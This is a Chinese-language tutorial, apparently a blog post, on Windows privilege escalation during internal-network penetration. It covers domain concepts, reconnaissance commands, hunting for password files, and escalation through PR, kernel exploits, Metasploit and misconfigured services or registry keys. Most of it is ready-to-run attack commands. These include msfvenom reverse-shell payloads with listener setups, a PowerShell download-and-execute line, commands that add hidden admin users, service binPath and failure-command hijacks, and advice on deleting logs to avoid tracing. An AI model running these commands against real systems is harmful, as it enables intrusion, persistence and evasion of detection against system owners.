系统提权一文详解

Windows提权

参考:Windows Server 文档 | Microsoft Learn深入解析:Windows 提权技术全攻略

为什么提权

这需要先了解域的概念,现如今很多企业内部为了方便管理员工以及员工的权限,会使用域控对用户权限或者提高管理权限来提升管理效率。

  • 域(Domain):是Windows网络中独立运行的一个个单位,将网络中多台计算机逻辑上组织到一起进行集中管理,这种区别于工作组的逻辑环境叫做域,各个域之间有着是否互相信任的联系。这与普通的工作组概念并不相同,在内网中,工作组是一种默认模式,组中用户与用户之间平等,不方便管理;而域中,用户与用户不平等,可以实现集中管理(统一管理)。
  • 域控(Domain Controller,DC):在一个域中,至少会有一个域控,是域的核心部分。安装了域控制器之后,就生成了域环境。 在域环境中,域控制器(DC)的数据库(ntds.dit)包含了整个域用户的账号密码等信息,攻击者如若获取到域控的高级权限,便可以控制该域,由于域和域之间有着一定的信任关系,攻击者此时可以进行跨域攻击,实现整个内网的沦陷,从而引发严重的后果。
  • 活动目录(Active Directory,AD):是生成域控的一个东西,主要提供管理功能,包括管理服务器、客户端计算机账户、域账户以及域账户信息、打印机、文件共享服务资源等,还可以支持财务、人事、办公自动化等应用系统。用户可以通过活动目录快速访问域内的资源,AD相当于一本字典的目录,其数据库(ntds.dit)中存储了域中所有用户信息。(特点也是便于集中管理)
  • 组织单位(Organizational Unit,OU):是可以将用户、组、计算机和其它组织单位放入其中的AD(Active Directory,活动目录)容器,是可以指派组策略设置或委派管理权限的最小作用域或单元。

举个例子:如果把域看成一个公司,那么域控就是公司总部的IT部(执行域的规则,管理所有成员的账号、权限,记录谁能访问什么资源。),活动目录AD就是行政部的档案系统(是 DC 用来管理的 “数据库”,存储所有用户、电脑、服务器的信息和规则),OC就是公司员工的 “个人办公电脑”,属于域成员计算机,是将计算机内的用户、组信息等放进AD的一个最小容器。

内网渗透常见攻击流程

由上所述,如果我们拿到域控,就等于拿到整个公司主机的核心内容,且由于域与域之间存在一定的信任关系,所以我们如果拿到域控就能尝试进行跨域攻击,从而使整个内网沦陷。因此当我们通过外网渗透拿到一台主机/服务器后,若该主机是域内机器,我们就可以按照以下攻击路线进行执行,这也是常见域渗透的流程:

但由于主机内存在多个用户,所以但我们拿到主机webshell之后,首先需要做的就是进行权限判断,若权限较低,则进行权限提升和维持。

那么完整渗透的流程就能概括为:

  • 外网信息收集(端口、域名、子域名、资产、漏洞情报等等)
  • 外网渗透(进行打点、漏洞探测与利用)
  • 拿下webshell
  • 权限提升与维持:通过各类提权反方式进行提权并进行权限维持
  • 判断主机是否属于域内,webshell信息收集(网络拓扑、系统信息)
  • 若外网主机权限不足,需再次提权(确保能执行内网扫描、端口转发等操作)
  • 搭建隧道(如 FRP):将内网端口映射到攻击者本地,方便后续访问内网资产(内网 Web、数据库)
  • 域内信息收集:域基本信息:域名、域管理员账号、DC 主机名、信任关系、漏洞信息
  • 横向渗透(域内移动):(利用凭证(如哈希传递 PtH、黄金票据 Golden Ticket、白银票据 Silver Ticket)登录其他域成员主机;或者利用漏洞横向:对内网主机批量扫描漏洞(如永恒之蓝),获取更多主机权限)
  • 判断定位域控并攻击
  • 拿下域控后进行域控权限提升与维持:如生成黄金票据(永久有效的域管理员票据)无需密码即可登录任何域内主机;设置域控后门:如DSRM(目录服务恢复模式)密码修改、Sticky Keys后门(按 5 次 Shift 调用 CMD)
  • 域间信任关系信息收集并进行跨域攻击
  • 痕迹清理:删除日志(Windows 的Event Log、Linux 的/var/log)、清除命令历史、移除临时文件,避免被溯源

Windows访问控制

用户帐户:用户帐户用于登录 Windows 系统。本地”管理员”帐户默认在系统安装时创建,根据版本的不同,可能会存在其他默认用户帐户,如Guest,每个账户有自己唯一的SID(安全标识符),用于在系统中标识和管理权限。Windows用户账户主要分三类:

  • 管理员账户:拥有对系统的完全控制权,能够安装软件、修改系统设置和管理其他用户账户。
  • 标准用户账户:受限权限,仅能使用已安装软件和修改个人设置,无法影响其他用户。
  • 来宾账户:临时访问账户,权限低,仅能访问计算机的基本功能,禁用安装和读写能力。
  • SID:安全标识符是标识用户、组和计算机帐户的唯一的号码。在第一次创建该帐户时,将给网络上的每一个帐户发布一个唯一的 SID 。如果创建帐户,再删除帐户,然后使用相同的用户名创建另一个帐户,则新帐户将不具有授权给前一个帐户的权力或权限,原因是该帐户具有不同的 SID 号。可以理解为用户的访问令牌,当用户试图访问系统资源时,将访问令牌提供给 Windows NT,然后 Windows NT 检查用户试图访问对象上的访问控制列表。如果用户被允许访问该对象,Windows NT将会分配给用户适当的访问权限。 访问令牌是用户在通过验证的时候有登陆进程所提供的,所以改变用户的权限需要注销后重新登陆,重新获取访问令牌。

用户相关dos命令:

net user                           #查看用户列表
net user 用户名 密码                 #改密码
net user 用户名 密码 /add           #创建一个新用户
net user 用户名 /del               #删除一个用户
net user 用户名 /active:yes/no     #激活或禁用账户
whoami /user                       #查看当前用户的SID
(在Windows系统中管理员的SID是500,普通用户的SID都是从1000开始,注册表路径:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList可以查看本机系统中的当前用户)

一些内置的用户账户:

默认用户账户含义说明
Administrator管理员用户管理计算机(域)的内置帐户(默认禁用)
DefaultAccount默认账户系统管理的用户帐户(默认禁用)
defaultuser0默认用户(默认禁用)
Guest来宾用户提供给访客人员使用(默认禁用)
WDAGUtilityAccountWindows Defender用户系统为 Windows Defender 应用程序防护方案管理和使用的用户帐户(默认禁用)

服务账户:服务帐户用于在对Windows 中所运行的服务进行管理,不能用于登录Windows系统,系统帐户是一个默认服务帐户,具有 Windows 中任何本地帐户的最高权限。其他默认服务帐户包括网络服务和本地服务。(如sqlserver中的root账户、iis服务中的admin账户等),常见的服务账户有:

Windows组件关联的用户含义说明
System本地系统用户为windows的核心组件访问文件等资源提供权限
Local Service本地服务用户预设的拥有最小权限的本地账户
Network Service网络服务用户具有运行网络服务权限的计算机账户

:组是一些用户账户的集合,可以拥有多个用户账户。组内的用户自动拥有该组所设置的权限,这样做可以减少给每个用户授权所带来的复杂度,也便于统一的管理。一个用户账户可以隶属于多个组,而这个用户的权限就是所有组的权限的合并集。常见的内置组如下:

  • Administrators:管理员组,默认情况下,Administrators中的用户对计算机/域有不受限制的完全访问权。分配给该组的默认权限允许对整个系统进行完全控制。如果这台计算机已加入域,则域的Domain Admins会自动地加入到该计算机的Administrators组内。也就是说,域上的系统管理员在这台计算机上也具备着系统管理员的权限。
  • Power User:高级用户组,权限仅低于Administrators,分配给Power Users组的默认权限允许Power Users组的成员修改整个计算机的设置。但Power Users不具有将自己添加到Administrators组的权限。
  • Users:普通用户组,这个组的用户无法进行有意或无意的改动。因此,用户可以运行经过验证的应用程序,但不可以运行大多数旧版应用程序。Users 组是最安全的组,因为分配给该组的默认权限不允许成员修改操作系统的设置或用户资料。Users 组提供了一个最安全的程序运行环境。在经过 NTFS 格式化的卷上,默认安全设置旨在禁止该组的成员危及操作系统和已安装程序的完整性。用户不能修改系统注册表设置、操作系统文件或程序文件。Users 可以关闭工作站,但不能关闭服务器。Users 可以创建本地组,但只能修改自己创建的本地组。
  • Guests:来宾组,按默认值,来宾跟普通Users的成员有同等访问权,但来宾帐户的限制更多。但如果系统开启了everyone组,且没有对everyone组做限制,那么访客可以通过everyone组的权限绕过Guests组的限制。
  • Everyone:所有的用户,这个计算机上的所有用户都属于这个组。是一个动态包含成员内置组,组内成员由Windows程序自动添加,Windows会根据用户状态来决定该用户所署的组,组内成员也动态变化,无法修改。,注意的是:如果Guest帐号被启用时,则给Everone这个组指派权限时必须小心,因为当一个没有帐户的用户连接计算机时,他被允许自动利用Guest帐户连接。
  • SYSTEM:拥有和Administrators一样、甚至比其还高的权限,但是这个组不允许任何用户的加入,在察看用户组的时候,它也不会被显示出来。系统和系统级的服务正常运行所需要的权限都是靠它赋予的。且该组只有这一个用户SYSTEM,所以把它归为用户的行列更为贴切。
  • Remote Desktop Users:远程桌面用户组,组内的成员拥有远程桌面登录的权限,相对于改变用户组权限,将需要连接远程桌面的用户分到Remote Desktop Users组中是一中更加安全的方式

组的dos相关命令:

net localgroup                       # 查看组列表
net localgroup 组名                 # 查看该组的成员
net localgroup 组名 /add           # 创建一个新的组
net localgroup 组名 用户名 /add     # 添加用户到组
net localgroup 组名 用户名 /del     # 从组中踢出用户
net localgroup 组名 /del           # 删除组

详细:WINDOWS的用户和用户组说明 – 月月想你,李 – 博客园

文件权限:除了设置用户账户权限,你还可以为特定的文件和文件夹设置权限,以进一步控制用户的访问,包括权限如:读写、执行、修改、完全控制等NTFS权限(NTFS就是Windows文件系统)。例如可以在文件夹或文件属性中设置权限。图中的组或用户名就是我们的访问控制列表(ACL),下面的权限项就是我们的访问控制项(ACE

windows权限管理示例操作:Windows本地用户和组的管理如何在Windows中设置用户账户权限

Windows提权分类

提权又分为横向提权和纵向提权,横向提权就是指从低权限管理员变为高权限管理员,纵向提权就是从普通用户到管理员用户。

Windows信息收集

当获取webshell后,第一步往往需要进行的就是信息收集。其思维导图如下:

常用命令:

1、收集OS操作系统名称和版本信息

systeminfo | findstr /B /C:"OS Name" /C:"OS Version"   #英文版
systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本"       #中文版
systeminfo                                             # 系统详细信息

2、主机名称和所有环境变量

hostname   #主机名
SET       #环境变量
Get-ChildItem Env: | ft Key,Value   #powershell获取环境变量

3、自带的工具收集:

wmic :是 Windows 系统自带的管理工具,通过命令行接口和脚本执行系统管理操作
查看用户信息:wmic useraccount list full   列出系统中所有用户账户的详细信息,包括用户名、密码状态、用户权限等
获取系统补丁:wmic qfe list full   列举出当前系统已安装的所有补丁包信息,包括补丁号、补丁描述、安装时间等
SC:SC 命令行程序用于与服务控制管理器和服务进行通信,主要用于服务的控制和管理
检索服务状态:sc query 可获取系统中所有服务的状态,包括服务名称、当前状态
启动和停止服务:sc start [服务名]、sc stop [服务名] 分别用于启动和停止指定服务,可以停止某些安全服务,方便我们的提权。

4、查看用户信息:

whoami   #显示计算名/当前登录的用户名
whoami /user       #查看当前用户及其SID
echo %USERNAME%     #显示当前用户名
net user 或者net1 user #查看所有用户
net localgroup administrators或者net1 localgroup administrators   #查看管理员用户组
query user 或者quser   #查看远程终端在线用户(Win10家庭版不具备该命令)
whoami /priv         #查看当前用户权限

5、查看远程桌面端口:

REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber          #使用注册表查看
tasklist /svc | find "TermService"       #查看TermService对应的端口号(TermService是WINDOWS远程桌面服务)
netstat -ano | find "1980"               #通过PID号查找端口

6、查看网络情况:

网络配置情况:ipconfig /all
路由器信息: route print
要查看ARP缓存: arp -A
查看网络连接: netstat -ano
查看防火墙规则:netsh firewall show config 以及 netsh firewall show state

7、查看应用程序和服务:

查看服务的进程PID:tasklist /SVC
查看当前安装的程序和版本:wmic product get name,version
查看已安装驱动程序的列表:DRIVERQUERY
查看已经启动Windows 服务net start
查看某服务启动权限:sc qc TermService
已安装程序的列表:wmic product list brief
查看服务列表:wmic service list brief # Lists services
查看进程列表wmic process list brief # Lists processes
查看启动程序列表wmic startup list brief # Lists startup items
检查补丁已安装的更新和安装日期:wmic qfe get Caption,De**ion,HotFixID,InstalledOn 或者 wmic qfe

8、检索敏感文件:

dir /b/s password.txt 
dir /b /s *.doc
dir /b /s *.ppt
dir /b /s *.xls
dir /b/s config.* filesystem
findstr /si password *.xml *.ini *.txt
findstr /si login *.xml *.ini *.txt
此外,还可以检查安装日志文件,这些文件通常包含base64编码的密码,可能能查找到管理员密码。文件共同位置如下:
C:\sysprep.inf
C:\sysprep\sysprep.xml
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\Panther\Unattended.xml

9、查杀软:

WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:list

10、查看当前的登陆域:

net config workstation

11、远程桌面连接历史记录:

cmdkey /l
获取到凭证之后,本地解密

12、获取域用户信息:

(前提是该机器为域控)
net user /domain #显示所在域的用户名单
net user 域用户/domain #获取某个域用户的详细信息
net user /domain xxx 1231312 #修改域用户的密码,需要域管理员权限

13、获取域用户列表:

daquery user

此外还有一些常用命令:Windows提权基础:信息收集技巧及命令Windows提权—系统信息收集

Windows常见提权方式

PR提权

是一种较老的提权方式,主要适用于windows x86 和 Windows Server 2003。在webshell中将我们的pr.exe和cmd.exe上传之后,执行下面这条命令,将终端的执行程序设置成我们上传的cmd.exe。

setp  "C:\website\站酷爱装网V2012版\UploadFiles\cmd.exe"

然后就可以使用当前cmd终端进行提取按。其中注意的是我们的系统命令用双引号括住。

pr.exe "net user hack 123 /add"                      #新建一个hack用户,密码为 123
pr.exe "net localgroup administrators hack /add" #将hack用户加入管理员组

注:目标机打上了 KB952004补丁 的话,是没有办法使用pr进行提权的

内核漏洞提权

内核漏洞最好在本地先试一下,否则可能会把目标机子打蓝屏
编译exp的话最好直接在受害机编译,没有条件的话就编译好在传进去执行

原理:程序缓存区大小是事先设置好的,如果输入数据大小超过缓存区大小就会溢出,攻击者可以用超出常规长度的字符数来填满一个域,通常是内存区地址。在某些情况下,这些过量的字符能够作为可执行代码来运行,从而使得攻击者可以不受安全措施的约束进行攻击行为。这样就可以利用溢出来尝试达到提权的目的了

主要思路就是收集查看内核版本和已打的补丁,然后可以根据已打的补丁去在线网站查找查询这些补丁对应的内核漏洞,再利用剩下的本机无补丁对应的内核漏洞exp来利用

exp网站:Exploit Database – Exploits for Penetration Testers, Researchers, and Ethical Hackers

上传并利用WinSystemHelper等类似windows安全漏洞检查工具跑一下,给出适合的内核漏洞编号,尝试就可以了。使用方法:上传bat+txt文件,运行bat查看结果。不过与Pr提权类似,该提权方式已经较为过时

项目地址:brianwrf/WinSystemHelper

与之类似的工具还有Sherlock、Privesc等

  • Sherlock是一个在Windows下用于本地提权的PowerShell脚本
  • Privesc可以枚举出目标系统中常见的Windows错误安全配置,利用这些配置进行权限提升

另外两个内核漏洞项目推荐:北辰梦/GodPotato:烂土豆提权Ascotbe/Kernelhub:系统(提权漏洞合集)

Metasploit提权

Metasploit 是一个渗透框架,其中包含了各类版本的系统漏洞payload,广泛用于权限提升。

其进行提权的流程如下:

1、首先运行MSF框架:msfconsole

2、生成payload用于反弹shell:

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.179.128 lport=12345 -f exe >/var/www/html/s.exe

# lhost 是kali的ip
# lport 是kali监听端口
使用MSF进行提权(windows提权、linux提权、wesng使用)_web安全_02

3、上传生成的payload程序到靶机中,可以传到C:\RECYCLER\ 目录下(因为该目录一般都有读写权限)

4、然后在kali中开启本地监听

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.179.128
set lport 12345
exploit
使用命令可以查看配置情况:show options 如果需要还可以自行修改配置
使用MSF进行提权(windows提权、linux提权、wesng使用)_安全_03
使用MSF进行提权(windows提权、linux提权、wesng使用)_web安全_04

5、在webshell中上传一个处理程序的对象如cmd.exe,然后利用该cmd执行我们上传的程序 s.exe 即可反弹shell到我们的kali主机上。

使用MSF进行提权(windows提权、linux提权、wesng使用)_metasploit_05

6、进入msf中的windows提权模块路径下

cd modules/exploits/windows/local/

常用的提权模块如下:

  • ms14_058 内核模式驱动程序中的漏洞库能允许远程代码执行
  • ms16_016 WebDAV 本地提权漏洞(CVE-2016-0051)
  • ms16_032 MS16-032 Secondary Logon Handle 本地提权漏洞

也可以利用前期得到的收集到的系统信息(如补丁情况)进行自行搜索提权模块。

MSF常用的命令:

sysinfo 查看系统命令
migrate 注入进程
getuid 获取当前用户
getprivs 尽可能提升权限
getsystem 通过各种攻击向量来提升系统用户权限
可以先使用 getsystem 来自动提权,如果失败再手动提权
ps 列出进程
sessions 查看会话
background 把session放置后台
sessions -i number # 与会话进行交互,number表示第n个session,使用session -i 连接到指定序号的meterpreter会话已继续利用
interact id #切换进一个信道
back 返回主界面
shell 得到终端
search搜索模块
show 列模块
info 查看模块信息

接下来进行具体提权过程:利用getuid命令查看已经获得的权限,若权限较低则先用 getsystem 来自动提权,然后进入webshell中利用systeminfo命令 或者 通过查询 c:\windows\ 里留下的补丁号.log 来看看目标机大概打了哪些补丁。推荐使用wesng工具来查看缺失补丁:

【Windows漏洞分析工具】wesng下载、命令选项、示例、使用方法-CSDN博客

更新漏洞库:python wes.py --update
常用查找命令:python .\wes.py -m .\systeminfo.txt
这里的systeminfo.txt是systeminfo命令回显的内容
使用MSF进行提权(windows提权、linux提权、wesng使用)_web安全_06

7、发现很多补丁没有打,利用收集的信息,查找msf下的攻击模块

background    #把当前的metasploit shell转为后台执行
search ms14_058 #搜索对应的模块
exploit/windows/local/ms14_058_track_popup_menu #查看模块配置信息并记录
使用MSF进行提权(windows提权、linux提权、wesng使用)_提权_07
使用MSF进行提权(windows提权、linux提权、wesng使用)_web安全_08

可以看到这里需要设置一个session

8、使用搜查到的模块,配置并使用

use exploit/windows/local/ms14_058_track_popup_menu  #使用
使用MSF进行提权(windows提权、linux提权、wesng使用)_安全_09

设置session为刚才back的,使用sessions命令查看id

使用MSF进行提权(windows提权、linux提权、wesng使用)_提权_10

设置session为3

set SESSION 3
并使用命令exploit进行攻击
使用MSF进行提权(windows提权、linux提权、wesng使用)_web安全_11

9、保持权限

使用ps命令列出进程

使用命令 migrate pid 注入explorer 进程

增加超级管理员:

net user ocean$ ocean123 /add 
net localground administrators ocean$ /add

在kali中链接远程终端:

rdesktop 192.168.179.128

更详细的MSF利用可参考:Metasploit权限提升全剧终-先知社区

Sherlock提权

是一个在Windows下用于本地提权的PowerShell脚本

项目地址:https://github.com/rasta-mouse/Sherlock/blob/master/Sherlock.ps1

先在目标机器执行:powershell.exe -exec bypass
绕过powershell的执行策略
再上传Sherlock.ps1文件,导入脚本:Import-Module ./Sherlock.ps1
查找漏洞:Find-AllVunlns
若出现Appears Vulnerable,即代表存在漏洞
远程导入:IEX (New-Object System.Net.Webclient).DownloadString(‘https://raw.githubusercontent.com/rasta-mouse/Sherlock/master/Sherlock.ps1’)

服务配置错误提权

此类的漏洞的原理是:Windows系统服务文件在操作系统启动时加载和执行,并在后台调用可执行文件。若我们当前用户(即便是低权限)对于该系统服务调用的可执行文件具有写权限,我们就可以将该文件写入我们想要执行的内容,并随着系统服务启动而获得系统权限(Windows服务通常以System权限运行),核心就在于权限继承:攻击者利用低权限账户修改服务配置,使高权限服务执行恶意代码。

不带引号的服务路径

原理:Windows 在执行服务路径时,若路径包含空格且未使用引号,系统会按以下规则解析:

1、优先尝试完整路径(如 C:\Program Files\My Service\service.exe)。
2、若完整路径不存在,系统会逐级尝试路径中的子目录,直到找到可执行文件。
且由于空格的存在,系统会按照空格分割路径,然后拼接.exe,也就是在这个例子下,系统会按照以下途径解析
(1)先查找Program.exe
(2)再查找C:\Program Files\My.exe
Windows 不会仅搜索 .exe,而是按 PATHEXT 环境变量的顺序尝试多种扩展名。默认顺序通常为:
.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC

所以,如果攻击者发现

  • 服务路径 C:\Program Files\My Service\service.exe 未加引号且存在空格;
  • C:\Program Files\ 目录可写(普通用户通常有权限);
  • 且该预期服务并不存在,即加载路径错误,且服务配置为以 LocalSystem(系统最高权限)或 Administrators 组成员身份运行

此时攻击者只需要在 C:\Program Files\ 下创建 My.exe,就可以将恶意程序在服务启动时被带入执行

由于服务本身以高权限运行,恶意程序一旦被执行,将获得相同的高权限(如 SYSTEM),这样就可以通过高权限的恶意程序执行高权限的攻击行为(如修改敏感文件、安装后门、横向移动至其他主机等)。

攻击基本流程:

1、检测:这类漏洞可以通过简单的脚本自动检测,如

wmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """

也可以使用工具(如 PowerUp.ps1WinPEAS)扫描系统,发现未加引号的服务路径,如:

# PowerUp 扫描命令
Get-ServiceUnquoted | Where-Object {$_.ModifiablePathExists -eq $true}

# 输出示例
Name : MyService
Path : C:\Program Files\My Service\service.exe # 未加引号!
StartName : LocalSystem # 以SYSTEM权限运行

2、查权限:随后检查对应的目录是否具备可写入权限,若可写,就可以创建恶意程序如(反向 Shell 程序 My.exe)

# 使用 msfvenom 生成恶意程序(需已安装 Metasploit)
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o C:\Program Files\My.exe

3、重启服务:最后攻击者通过以下方式重启服务,迫使系统执行恶意程序:

# 若有足够权限,直接重启服务
net stop MyService
net start MyService

# 若无权限,可等待系统自动重启(如计划任务、系统更新后)

4、远程监听:攻击者主机再启动监听:

# 使用 Metasploit 监听 4444 端口
msfconsole -q
use exploit/multi/handler
set PAYLOAD windows/shell_reverse_tcp
set LHOST 192.168.1.100
set LPORT 4444
run
#当服务重启时,C:\Program Files\My.exe 就被执行,反向连接到攻击者的机器,且以 SYSTEM 权限运行

5、验证权限:攻击者在 shell 中执行命令,确认权限:

# 查看当前用户权限
whoami /priv

# 输出示例(部分)
SeTakeOwnershipPrivilege # 系统最高权限之一
SeDebugPrivilege # 可调试任意进程

不安全的服务权限

原理:配置错误的服务权限允许攻击者修改服务路径并执行任意代码。

对于这类型的检查可以使用微软自带的accesschk工具可以快速检查当前用户对各服务的权限:

accesschk.exe -uwcqv "user" *

工具下载链接及命令使用参考:AccessChk – Sysinternals | Microsoft Learn

然后使用sc qc命令来查看服务配置信息:

sc qc "Service"   #Service换成具体的服务名称

一旦发现可修改的服务,可以更改其可执行文件路径:

sc config "Vulnerable" binpath="C:\malicious.exe"     #修改服务的启动路径,指向恶意程序
sc stop "Vulnerable"
sc start "Vulnerable"

这类攻击方法在权限不足时可以利用社工技巧让管理员重新启动服务。

示例:

1、使用工具(如 accesschk、PowerUp.ps1)扫描服务权限:
# 在powershell中用accesschk检查服务配置权限(需管理员或对应权限)
accesschk.exe -uwcqv "Users" * /accepteula

# 输出示例:发现“MyService”服务允许Users组修改配置
[SC] QueryServiceConfig SUCCESS
MyService: Users 拥有 WRITE_DAC 权限(可修改配置)

2、修改服务的启动路径为恶意程序(假设攻击者已在 C:\temp\ 放置恶意程序 backdoor.exe(反向shell))
# 在powershell中修改服务启动路径
sc config MyService binPath= "C:\temp\backdoor.exe"
sc config MyService start= auto # 设置为自动启动,确保重启后执行

3、重启服务触发恶意程序
# 停止并启动服务(若有权限)
net stop MyService
net start MyService

4、获得高权限 Shell
服务启动时,backdoor.exe 以服务的高权限(如 SYSTEM)运行,攻击者通过监听获得控制权:
# 攻击者机器监听(Metasploit示例)
use exploit/multi/handler
set PAYLOAD windows/shell_reverse_tcp
set LHOST 192.168.1.100
set LPORT 4444
run

5、验证权限
(1)PowerUp.ps1(PowerShell 脚本):自动扫描服务权限漏洞
. .\PowerUp.ps1
Get-ModifiableService # 列出可被当前用户修改的服务

(2)accesschk.exe(Sysinternals 工具):检查服务配置权限
accesschk.exe -s -u "NT AUTHORITY\Users" \\.\MyService # 检查Users组对服务的权限

(3)sc qc:手动查询服务配置
sc qc MyService # 查看服务当前的启动路径和运行账户

可执行文件替换

原理:在某些情况下,服务的可执行文件路径可能指向一个对非管理员用户可写的目录。攻击者可以利用这一点替换合法的可执行文件,从而获得更高的权限。

如:

# 检查该服务调用的文件权限
icacls "C:\Program Files\Vulnerable\service.exe"
若Everyone 有写入权限,那么就可以利用生成的木马程序替换原文件
copy evil_service.exe "C:\Program Files\Vulnerable\service.exe" /Y
然后重启服务,实现提权:
# 若有权限,直接重启服务
net stop VulnerableService
net start VulnerableService

注册表中的 ImagePath

原理:服务的可执行文件路径信息存储在注册表中,攻击者可以通过修改注册表项来更改服务的启动路径,从而执行恶意代码。

Windows服务的注册表路径:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\ServiceName

关键项包括:

  • ImagePath:服务可执行文件的路径
  • ObjectName:服务运行的账户(如LocalSystem

若攻击者拥有修改注册表的权限(如普通用户对特定服务项有写权限),可通过篡改ImagePath指向恶意程序,然后在服务重启时触发提权。

发现可修改的服务注册表项:
# PowerUp脚本检测可修改的服务注册表项
. .\PowerUp.ps1
Get-ModifiableService | Where-Object {$_.StartName -eq "LocalSystem"}

漏洞输出示例:
Name : VulnerableService
Path : C:\Program Files\Vuln\service.exe
StartName : LocalSystem # 以SYSTEM权限运行
Modifiable : True # 注册表项可被当前用户修改

此时攻击者需要找到一个可写入的目录(如C:\Temp)用于存放恶意程序。

然后修改注册表项ImagePath

# 方法1:使用sc命令(需权限)
sc config VulnerableService binPath= "C:\Temp\evil.exe"

# 方法2:直接修改注册表(需权限)
$regPath = "HKLM:\SYSTEM\CurrentControlSet\Services\VulnerableService"
Set-ItemProperty -Path $regPath -Name ImagePath -Value "C:\Temp\evil.exe"
或者
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VulnerableService" /v ImagePath /t REG_SZ /d "C:\malicious.exe" /f

然后重启服务即可提权

sc stop "VulnerableService"
sc start "VulnerableService"

服务恢复选项

原理:Windows 服务具有恢复选项,允许管理员配置当服务失败时系统采取的措施。这些恢复操作存储在注册表中:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\ServiceName\FailureActions

若攻击者拥有修改服务恢复选项的权限,可将 “运行程序” 指向恶意程序。当服务触发故障时,系统会以服务的权限(通常是 SYSTEM)执行该程序,实现提权。示例如下:

1、发现可修改的服务恢复选项
使用工具(如PowerUp.ps1)检测可被当前用户修改的服务恢复配置:
. .\PowerUp.ps1
Get-ModifiableService | Where-Object {$_.FailureActions -eq $true}

2、修改服务恢复选项
# 方法1:使用sc命令(需权限)
sc failure VulnerableService actions= run/60000 reset= 86400
sc failureflag VulnerableService 1
#指定在服务失败时运行的程序路径:
sc failurecommand VulnerableService "C:\Temp\evil.exe"

# 方法2:直接修改注册表(需权限)
$regPath = "HKLM:\SYSTEM\CurrentControlSet\Services\VulnerableService"
$failureActions = [byte[]]@(
0x00, 0x00, 0x00, 0x00, # 版本
0x03, 0x00, 0x00, 0x00, # 故障操作数
0x14, 0x00, 0x00, 0x00, # 第一次失败:重启服务(延迟60秒)
0x14, 0x00, 0x00, 0x00, # 第二次失败:重启服务
0x01, 0x00, 0x00, 0x00, # 后续失败:运行程序
0x00, 0x00, 0x00, 0x00, # 重置计数器时间(24小时)
0x00, 0x00, 0x00, 0x00, # 重启消息
0x2C, 0x00, 0x00, 0x00, # 命令字符串长度(44字节)
0x00, 0x00, 0x00, 0x00, # 命令字符串偏移量
0x00, 0x00, 0x00, 0x00 # 安全描述符
)
Set-ItemProperty -Path $regPath -Name FailureActions -Value $failureActions
Set-ItemProperty -Path $regPath -Name FailureCommand -Value "C:\Temp\evil.exe"

3、触发服务故障
# 强制服务崩溃(需有启动服务的权限)
sc stop VulnerableService
sc start VulnerableService # 多次启动失败触发恢复选项

4、利用重启服务带动木马程序允许建立系统权限级别的反向shell

服务的启动类型

原理:某些服务被配置为手动启动,攻击者可以将其更改为自动启动,从而在系统启动时自动执行恶意代码。利用服务权限配置漏洞,结合系统重启或计划任务,使恶意程序以高权限持久运行。这些配置存储在注册表中:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\ServiceName\Start
值为 2 表示自动启动
值为 3 表示手动启动

若攻击者拥有修改服务启动类型的权限,就可将一个以高权限运行但当前为手动启动的服务改为自动启动,并替换其可执行文件,从而在系统重启时触发提权。

使用工具(如PowerUp.ps1)扫描可被当前用户修改的服务:
. .\PowerUp.ps1
Get-ModifiableService | Where-Object {$_.StartName -eq "LocalSystem" -and $_.StartType -eq "Manual"}
# 替换为恶意程序(需对文件有写入权限)
copy C:\Temp\evil.exe "C:\Program Files\Legit\service.exe" /Y
修改服务启动类型为自动
# 方法1:使用sc命令
sc config VulnerableService start= auto

# 方法2:直接修改注册表
$regPath = "HKLM:\SYSTEM\CurrentControlSet\Services\VulnerableService"
Set-ItemProperty -Path $regPath -Name Start -Value 2 # 2=自动启动
启动服务
# 若有权限,直接启动服务
net start VulnerableService

# 若无权限,等待系统重启(如计划任务、用户关机)

服务的依赖项

原理:Windows 服务可以配置依赖其他服务或 DLL,确保在自身启动前先启动依赖项。这些依赖信息存储在注册表中:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\ServiceName\Dependencies

攻击者可通过以下方式利用依赖项漏洞:

  1. 篡改依赖服务:将高权限服务的依赖项修改为恶意服务,迫使系统先启动恶意服务。
  2. DLL 劫持:利用服务加载 DLL 时的搜索顺序漏洞,在搜索路径中放置恶意 DLL。
篡改依赖服务:
假设存在高权限服务VulnerableService(以 SYSTEM 运行),攻击者执行以下步骤:
# 创建恶意服务(需管理员权限)
sc create MaliciousService binPath= "C:\Temp\evil.exe" start= demand

# 修改依赖项(需权限)
sc config VulnerableService depend= MaliciousService
触发服务启动使恶意程序被依赖启动
net start VulnerableService # 系统会先启动MaliciousService

注册表提权

AlwaysInstallElevated

原理:Window注册表键AlwaysInstallElevated(始终以最高权限安装)是一个策略设置项,说白了注册表键权限提升的问题就是Windows配置策略问题,如果开启此项策略windows的任何用户都可以以最高权限(NT AUTHORITY\SYSTEM)运行安装执行.msi(Windows Installer的数据包)文件。

  • 计算机范围:HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated
  • 用户范围:HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated

触发条件

  • 两个键的值均为 1 时,漏洞生效。
  • 通常由管理员误配置或组策略错误导致。

检测漏洞:

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

